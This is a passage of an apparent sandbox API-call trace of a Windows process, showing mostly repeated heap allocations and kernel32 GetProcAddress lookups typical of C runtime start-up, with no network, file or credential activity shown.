0x249498 [0052.475] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x38) returned 0x2494e8 [0052.475] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x31) returned 0x249528 [0052.475] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x49) returned 0x24a2c0 [0052.475] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x5d) returned 0x249568 [0052.475] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x3c) returned 0x243728 [0052.476] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x3b) returned 0x243770 [0052.476] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x32) returned 0x2495d0 [0052.476] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x8d) returned 0x249610 [0052.476] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x62) returned 0x2496a8 [0052.476] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x3f) returned 0x2437b8 [0052.476] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x41) returned 0x249718 [0052.476] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x6c) returned 0x249768 [0052.476] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x36) returned 0x2497e0 [0052.476] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x3c) returned 0x243800 [0052.476] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x3f) returned 0x243848 [0052.477] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x48) returned 0x249820 [0052.477] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x4d) returned 0x24a318 [0052.477] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x42) returned 0x249870 [0052.477] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x65) returned 0x2498c0 [0052.477] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x3b) returned 0x243890 [0052.477] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x33) returned 0x249930 [0052.477] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x3a) returned 0x2438d8 [0052.477] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x4e) returned 0x24a370 [0052.477] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x4d) returned 0x24a3c8 [0052.477] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x39) returned 0x243920 [0052.478] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x42) returned 0x249970 [0052.478] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x4e) returned 0x24a420 [0052.478] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x36) returned 0x2499c0 [0052.478] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x3c) returned 0x243968 [0052.478] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x6a) returned 0x249a00 [0052.478] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x249d10) returned 1 [0052.478] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x249d10 | out: hHeap=0x230000) returned 1 [0052.513] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76e10000 [0052.513] GetProcAddress (hModule=0x76e10000, lpProcName="FlsAlloc") returned 0x76e24f2b [0052.513] GetProcAddress (hModule=0x76e10000, lpProcName="FlsFree") returned 0x76e2359f [0052.513] GetProcAddress (hModule=0x76e10000, lpProcName="FlsGetValue") returned 0x76e21252 [0052.513] GetProcAddress (hModule=0x76e10000, lpProcName="FlsSetValue") returned 0x76e24208 [0052.513] GetProcAddress (hModule=0x76e10000, lpProcName="InitializeCriticalSectionEx") returned 0x76e24d28 [0052.513] GetProcAddress (hModule=0x76e10000, lpProcName="InitOnceExecuteOnce") returned 0x76e3d627 [0052.513] GetProcAddress (hModule=0x76e10000, lpProcName="CreateEventExW") returned 0x76ea410b [0052.513] GetProcAddress (hModule=0x76e10000, lpProcName="CreateSemaphoreW") returned 0x76e3ca5a [0052.513] GetProcAddress (hModule=0x76e10000, lpProcName="CreateSemaphoreExW") returned 0x76ea4195 [0052.514] GetProcAddress (hModule=0x76e10000, lpProcName="CreateThreadpoolTimer") returned 0x76e3ee7e [0052.514] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadpoolTimer") returned 0x7736441c [0052.514] GetProcAddress (hModule=0x76e10000, lpProcName="WaitForThreadpoolTimerCallbacks") returned 0x7738c50e [0052.514] GetProcAddress (hModule=0x76e10000, lpProcName="CloseThreadpoolTimer") returned 0x7738c381 [0052.514] GetProcAddress (hModule=0x76e10000, lpProcName="CreateThreadpoolWait") returned 0x76e3f088 [0052.514] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadpoolWait") returned 0x773705d7 [0052.514] GetProcAddress (hModule=0x76e10000, lpProcName="CloseThreadpoolWait") returned 0x7738ca24 [0052.514] GetProcAddress (hModule=0x76e10000, lpProcName="FlushProcessWriteBuffers") returned 0x77340b8c [0052.514] GetProcAddress (hModule=0x76e10000, lpProcName="FreeLibraryWhenCallbackReturns") returned 0x773ffde8 [0052.514] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentProcessorNumber") returned 0x77391e1d [0052.514] GetProcAddress (hModule=0x76e10000, lpProcName="CreateSymbolicLinkW") returned 0x76e9cd11 [0052.514] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentPackageId") returned 0x0 [0052.515] GetProcAddress (hModule=0x76e10000, lpProcName="GetTickCount64") returned 0x76e3eee0 [0052.515] GetProcAddress (hModule=0x76e10000, lpProcName="GetFileInformationByHandleEx") returned 0x76e3c78f [0052.515] GetProcAddress (hModule=0x76e10000, lpProcName="SetFileInformationByHandle") returned 0x76e4cbfc [0052.515] GetProcAddress (hModule=0x76e10000, lpProcName="GetSystemTimePreciseAsFileTime") returned 0x0 [0052.515] GetProcAddress (hModule=0x76e10000, lpProcName="InitializeConditionVariable") returned 0x77358456 [0052.515] GetProcAddress (hModule=0x76e10000, lpProcName="WakeConditionVariable") returned 0x773c7de4 [0052.515] GetProcAddress (hModule=0x76e10000, lpProcName="WakeAllConditionVariable") returned 0x7738409d [0052.515] GetProcAddress (hModule=0x76e10000, lpProcName="SleepConditionVariableCS") returned 0x76ea4b32 [0052.515] GetProcAddress (hModule=0x76e10000, lpProcName="InitializeSRWLock") returned 0x77358456 [0052.515] GetProcAddress (hModule=0x76e10000, lpProcName="AcquireSRWLockExclusive") returned 0x773529f1 [0052.515] GetProcAddress (hModule=0x76e10000, lpProcName="TryAcquireSRWLockExclusive") returned 0x77364892 [0052.515] GetProcAddress (hModule=0x76e10000, lpProcName="ReleaseSRWLockExclusive") returned 0x773529ab [0052.515] GetProcAddress (hModule=0x76e10000, lpProcName="SleepConditionVariableSRW") returned 0x76ea4b74 [0052.516] GetProcAddress (hModule=0x76e10000, lpProcName="CreateThreadpoolWork") returned 0x76e3ee45 [0052.516] GetProcAddress (hModule=0x76e10000, lpProcName="SubmitThreadpoolWork") returned 0x77398491 [0052.516] GetProcAddress (hModule=0x76e10000, lpProcName="CloseThreadpoolWork") returned 0x7738d8e2 [0052.516] GetProcAddress (hModule=0x76e10000, lpProcName="CompareStringEx") returned 0x76ea46b1 [0052.516] GetProcAddress (hModule=0x76e10000, lpProcName="GetLocaleInfoEx") returned 0x76ea4751 [0052.516] GetProcAddress (hModule=0x76e10000, lpProcName="LCMapStringEx") returned 0x76ea47f1 [0052.516] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x824) returned 0x249a78 [0052.532] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0052.565] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x415660) returned 0x0 [0052.843] GetCurrentThread () returned 0xfffffffe [0052.844] GetThreadTimes (in: hThread=0xfffffffe, lpCreationTime=0x18fee4, lpExitTime=0x18feec, lpKernelTime=0x18feec, lpUserTime=0x18feec | out: lpCreationTime=0x18fee4, lpExitTime=0x18feec, lpKernelTime=0x18feec, lpUserTime=0x18feec) returned 1 [0052.860] RtlInitializeSListHead (in: ListHead=0x6fd5a8 | out: ListHead=0x6fd5a8) [0052.860] RtlInitializeConditionVariable () returned 0x70c4e0 [0052.952] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x246378 [0052.952] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24b6f0 [0052.952] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24b728 [0052.952] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24b760 [0052.953] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24b798 [0052.953] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24b7d0 [0052.953] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24b808 [0052.953] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24b840 [0052.953] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24b878 [0052.953] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24b8b0 [0052.953] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24b8e8 [0052.953] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24b920 [0052.953] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24b958 [0052.953] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24b990 [0052.953] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24b9c8 [0052.953] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24ba18 [0052.954] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24ba50 [0052.954] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24ba88 [0052.954] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24bac0 [0052.954] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24baf8 [0052.954] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24bb30 [0052.954] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24bb68 [0052.954] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24bba0 [0052.954] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24bbd8 [0052.954] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24bc10 [0052.955] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24bc48 [0052.955] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24bc80 [0052.955] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24bcb8 [0052.955] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24bcf0 [0052.955] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24bd28 [0052.955] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24bd60 [0052.955] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24bd98 [0052.955] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24bdd0 [0052.955] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24be08 [0052.955] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24be40 [0052.955] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24be78 [0052.955] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24beb0 [0052.955] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24bee8 [0052.956] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24bf20 [0052.956] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24bf58 [0052.956] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24bf90 [0052.956] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24bfc8 [0052.956] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24c000 [0052.956] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24c038 [0052.956] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24c070 [0052.956] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24c0a8 [0052.956] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24c0e0 [0052.956] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24c118 [0052.956] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24c150 [0052.956] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24c188 [0052.957] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24c1c0 [0052.957] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24c218 [0052.957] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24c250 [0052.957] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24c288 [0052.957] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24c2c0 [0052.957] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24c2f8 [0052.957] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24c330 [0052.957] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24c368 [0052.957] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24c3a0 [0052.957] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24c3d8 [0052.957] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24c410 [0052.957] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24c448 [0052.957] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24c480 [0052.958] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24c4b8 [0052.958] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24c4f0 [0052.958] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24c528 [0052.958] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24c560 [0052.958] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24c598 [0052.958] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24c5d0 [0052.958] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24c608 [0052.958] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24c640 [0052.958] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24c678 [0052.958] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24c6b0 [0052.958] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24c6e8 [0052.958] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24c720 [0052.959] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24c758 [0052.959] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24c790 [0052.959] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24c7c8 [0052.959] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24c800 [0052.959] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24c838 [0052.959] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24c870 [0052.959] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24c8a8 [0052.959] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24c8e0 [0052.959] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24c918 [0052.959] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24c950 [0052.959] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24c988 [0052.959] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24c9c0 [0052.959] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24ca18 [0052.960] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24ca50 [0052.960] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24ca88 [0052.960] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24cac0 [0052.960] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24caf8 [0052.960] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24cb30 [0052.960] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24cb68 [0052.960] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24cba0 [0052.960] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24cbd8 [0052.960] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24cc10 [0052.960] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24cc48 [0052.961] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24cc80 [0052.961] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24ccb8 [0052.961] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24ccf0 [0052.961] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24cd28 [0052.961] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24cd60 [0052.961] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24cd98 [0052.961] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24cdd0 [0052.961] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24ce08 [0052.961] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24ce40 [0052.961] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24ce78 [0052.961] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24ceb0 [0052.961] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24cee8 [0052.962] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24cf20 [0052.962] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24cf58 [0052.962] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24cf90 [0052.962] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24cfc8 [0052.962] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24d000 [0052.962] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24d038 [0052.962] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24d070 [0052.962] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24d0a8 [0052.962] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24d0e0 [0052.962] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24d118 [0052.962] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24d150 [0052.962] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24d188 [0052.963] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24d1c0 [0052.963] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24d218 [0052.963] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24d250 [0052.963] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24d288 [0052.963] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24d2c0 [0052.963] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24d2f8 [0052.963] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24d330 [0052.963] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24d368 [0052.963] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24d3a0 [0052.963] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24d3d8 [0052.963] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24d410 [0052.963] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24d448 [0052.963] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24d480 [0052.964] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24d4b8 [0052.964] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24d4f0 [0052.964] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24d528 [0052.964] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24d560 [0052.964] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24d598 [0052.964] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24d5d0 [0052.964] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24d608 [0052.964] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24d640 [0052.964] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24d678 [0052.964] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24d6b0 [0052.964] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24d6e8 [0052.964] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24d720 [0052.965] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24d758 [0052.965] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24d790 [0052.965] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24d7c8 [0052.965] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24d800 [0052.965] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24d838 [0052.965] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24d870 [0052.965] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24d8a8 [0052.965] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24d8e0 [0052.965] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24d918 [0052.965] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24d950 [0052.965] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24d988 [0052.965] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24d9c0 [0052.966] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24da18 [0052.966] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24da50 [0052.966] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24da88 [0052.966] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24dac0 [0052.966] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24daf8 [0052.966] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24db30 [0052.966] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24db68 [0052.966] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24dba0 [0052.966] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24dbd8 [0052.966] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24dc10 [0052.968] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24dc48 [0052.968] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24dc80 [0052.968] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24dcb8 [0052.968] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24dcf0 [0052.968] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24dd28 [0052.968] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24dd60 [0052.968] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24dd98 [0052.968] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24ddd0 [0052.969] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24de08 [0052.969] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24de40 [0052.969] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24de78 [0052.969] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24deb0 [0052.969] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24dee8 [0052.969] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24df20 [0052.969] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24df58 [0052.969] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24df90 [0052.969] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24dfc8 [0052.969] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24e000 [0052.969] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24e038 [0052.969] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24e070 [0052.970] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24e0a8 [0052.970] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24e0e0 [0052.970] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24e118 [0052.970] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24e150 [0052.970] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24e188 [0052.970] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24e1c0 [0052.970] 